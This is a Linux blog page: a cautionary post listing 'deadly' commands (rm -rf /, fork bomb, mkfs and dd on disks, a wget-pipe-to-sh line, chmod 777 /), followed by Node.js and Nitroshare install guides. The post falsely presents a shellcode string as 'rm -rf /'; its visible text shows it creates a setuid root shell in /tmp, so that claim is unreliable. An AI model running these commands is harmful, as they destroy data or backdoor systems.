Friday, October 30, 2015

9 Deadly Commands !! You Should Not Run on Linux

9 Deadly Commands !!

You Should Not Run on Linux



We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
(i.e) Running commands in terminal without proper knowledge about them may break your system.
(Linux guide :getting start with Linux)
In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity , enormous in trust and lots of    on Linux.
So , here i listed some deadly Linux commands which you should not run on your Linux box .
Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
On other Linux distributions, most commands must be run as root.
You May Also Like To Read 58 cool Linux Hacks!

    rm -rf / [ This will Delete Everything! ]

The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of
  • rm command in Linux is used to delete files.
  • rm -r command deletes the folder recursively, even the empty folder.
  • rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
  • rm -rf / : Force deletion of everything in root directory.
  • rm -rf * : Force deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.

   Hidden version of rm -rf command [Alternte version of rm -rf /]

The command shown below is just a hex version of rm -rf / command.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

   :(){ :|: & };: [ Fork Bomb ]

This is actually a bash function which creates new copies of itself .
This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
:(){ :|: & };:

operation of this function:

This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
warning:This function even no need root permissions.

   mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)

mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])

(wiping sda1 is similar to wiping C drive on windows.)
This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

NOTE:

Beware of running commands directly on hard disk devices that begin with /dev/sd.

   command > /dev/sda

The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
command - Run a command (can be any command.)

> - Send the output of the command to the following location.

/dev/sda - Write the output of the command directly to the hard disk device.

   mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

/dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
mv - Move the following file or directory to another location.

~ - Represents your entire home folder.

/dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.

   dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
dd - Perform low-level copying from one location to another.

if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).

of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.

   wget http://malicious_source -O- | sh [Downloads and Runs a Script]

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.
wget - Downloads a file. (You may also see curl in place of wget.)

http://example.com/something - Download the file from this location.

| - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh - Send the file to the sh command, which executes it if it's a bash script.

   > file [Flush out your file]

This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.
> file

One more command .. sudo chmod -R 777 /

This is one more command which will create undesirable things..
sudo chmod -R 777 / 

This command will give everyone to do anything (read, write, execute) on your system ..
You may also like to read: Have More Fun with Windows vs Linux vs Mac


for more posts Click to see more interesting posts on OpensourceInside

Tuesday, October 13, 2015

How To Install Node.js (latest version) in Linux

How To Install Node.js (latest version)
On Linux

Introduction:

Node.js :

Nodejs is an open source, cross platform , JavaScript runtime environment which is based on Chrome's V8 JavaScript engine. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient.
It is used to develop scalable, real-time, network and server-side applications written in javascript and we can run that applications within Node.js runtime environment on OS X, Windows, Linux, solaris and BSD.

Node.js provides an event-driven architecture and a non-blocking I/O API designed to optimize an application's throughput and scalability for real-time web applications. It uses Google V8 JavaScript engine to execute code, and a large percentage of the basic modules are written in JavaScript. Node.js contains a built-in library to allow applications to act as a web server without software such as Apache HTTP Server, Nginx or IIS.

Node.js can be combined with a browser, a document database (such as MongoDB or CouchDB) and JSON for a unified JavaScript development stack.

According to wikipedia,
Node.js is used by IBM, Microsoft, Yahoo!, Walmart, LinkedIn, Rakuten, PayPal and GoDaddy.

npm :

npm is the pre-installed package manager for the Node.js server platform. It is used to install Node.js programs from the npm registry, organizing the installation and management of third-party Node.js programs.

Installtion :

For Debian and Ubuntu based distributions :

You can install the Distro-Stable Version from official repositories of your distribution ,by just running apt-get install package name in your linux command line.

sudo apt-get update && sudo apt-get install nodejs && sudo apt-get install npm

Latest versions of Nodejs providing npm as default package manager. So we dont need to install it seperately in latest versions of Node.Js.

but, there may be a chance that your distribution's official repositories may contain only older version of node js.
if u want to install latest version of nodejs(at the time of writing this post 4.x is latest version of nodejs), then you need to use node source PPA.

curl -sL https://deb.nodesource.com/setup_4.x | sudo bash -

or

wget -qO- https://deb.nodesource.com/setup_4.x | sudo bash -

Note : For example if you want to install Node.Js 6.x, Replace 4.x with 6.x. (i.e) replace it with version you want to install.



Update (Latest available LTS version of Nodejs ..)

wget -qO- https://deb.nodesource.com/setup_6.x | sudo bash -

Update (Latest available version of Nodejs ..)

wget -qO- https://deb.nodesource.com/setup_7.x | sudo bash -

After running above command, run the follollowing commands..

sudo apt-get -y install nodejs

during or after installation, if you experience any errors run this command and try again:

sudo apt-get -y install build-essential && sudo apt-get -f install

Remember.. If you are doing nodejs installation using nodesource ppa, you need not to run sudo apt-get install npm. Because npm comes along with node installation.. so don't run sudo apt-get install npm, if you are doing nodejs installation with from nodesource ppa.. otherwise if you run above command after installing nodejs from nodesource ppa, you would see error message or warning message thrown by your distributions package-manager.. don't worry about that message.. Just ignore it and enjoy NodeJS
HAPPY NODE ! .

For RPM based systems..

sudo curl --silent --location https://rpm.nodesource.com/setup_4.x | bash - && sudo yum -y install nodejs

For Fedora 22 and later versions..

sudo curl --silent --location https://rpm.nodesource.com/setup_4.x | bash - && sudo dnf -y install nodejs

Note : For example if you want to install Node.Js 6.x, Replace 4.x with 6.x. (i.e) replace it with version you want to install.

For Arch Linux

Node.js and npm packages are available in the Community Repository.

pacman -S nodejs npm

Compiling from source..

For Linux before start to compile install following packages..

sudo apt-get install g++ curl libssl-dev apache2-utils git build-essential

Step 1 :Clone source code from git repo..

cd && git clone https://github.com/nodejs/node.git

If you are using OS X you have to install git and X Code , before start to compile..

Or , simply download code as zip file from NodeJS git Repo and extract it

Step 2 : Now change directory (navigate into) to downloaded directory

cd ~/node

Step 3 : Now run compile it..

./configure && make && sudo make install

For more specific version installation instructions see here... and You can find installation instructions for more distros in official wiki.


Friday, October 2, 2015

Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices

Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices


We know how difficult(at least for computer newbies) it's to share our files over local network between multiple devices(specially if devices are powered by different operating systems).

To make this file sharing process simple, over local network , there is a cross platform tool/application available named as Nitroshare available for Linux , Windows and OS X.

We can share files over local network by just drag and drop.

Note : This program is for sharing files between computers on the same network;      it does not work over the Internet.



Key features :
         
  • Runs on Windows / Mac OS X / Linux
  •      
  • Automatic discovery of devices on the local network
  •      
  • Simple and intuitive user interface
  •      
  • Transfer entire directories
  •      
  • Completely free and open-source
  •      
  • Easy to use even for computer newbies


Installing Nitroshare :

You can directly download binaries for Nitroshare from their official website.
Download Nitroshare
(binaries available for Ubuntu 14.04, 14.10 or 15.04, Windows and Mac OS X as well as the source)

Optional: Ubuntu 15.04, 14.10 or 14.04 (and derivatives) users can install NitroShare by using its official PPA:


     sudo add-apt-repository ppa:george-edison55/nitroshare
     sudo apt-get update
     sudo apt-get install nitroshare
          

If you find any issue in Nitroshare, you can report @ GitHub



Using Nitroshare :


           
  • Click on Nitroshare Tray icon and select send files/send directory option will show usual file selection dialogue.
  •        
  • Now select files you want to send.
  •        
  • Now Nitroshare will automatically detect users/devices on same network.
  •        
  • You can pick an account which you want to send files.
  •        
  • You can configure location to receive files using settings option on another computer.
  •        
  • Thats it.. Enjoy ... ♥ with the spirit of opensource


                                                 if you like this article like us on facebook f